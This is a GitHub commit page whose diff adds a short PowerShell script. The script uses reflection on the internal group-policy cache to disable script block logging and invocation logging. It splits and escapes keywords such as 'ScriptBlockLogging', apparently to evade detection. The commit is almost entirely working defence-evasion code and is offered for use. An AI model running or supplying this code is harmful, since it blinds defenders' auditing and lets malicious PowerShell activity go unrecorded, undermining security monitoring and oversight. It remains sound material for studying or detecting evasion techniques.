Skip to content

Commit

Permalink
Update and rename Disable-ScriptBlockLogging_Reflection.ps1 to Disabl…
Browse files Browse the repository at this point in the history
…e-ScriptBlockLogging_Reflection_Working.ps1
  • Loading branch information
S3cur3Th1sSh1t authored Mar 8, 2021
1 parent 0ecaa3f commit ea02a25
Show file tree
Hide file tree
Showing 2 changed files with 12 additions and 4 deletions.
4 changes: 0 additions & 4 deletions PowershellScripts/Disable-ScriptBlockLogging_Reflection.ps1

This file was deleted.

Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static')
If ($GroupPolicyField) {
$GroupPolicyCache = $GroupPolicyField.GetValue($null)
If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
}
$val = [System.Collections.Generic.Dictionary[string,System.Object]]::new()
$val.Add('EnableScriptB'+'lockLogging', 0)
$val.Add('EnableScriptB'+'lockInvocationLogging', 0)
$GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] = $val
}

0 comments on commit ea02a25

Please sign in to comment.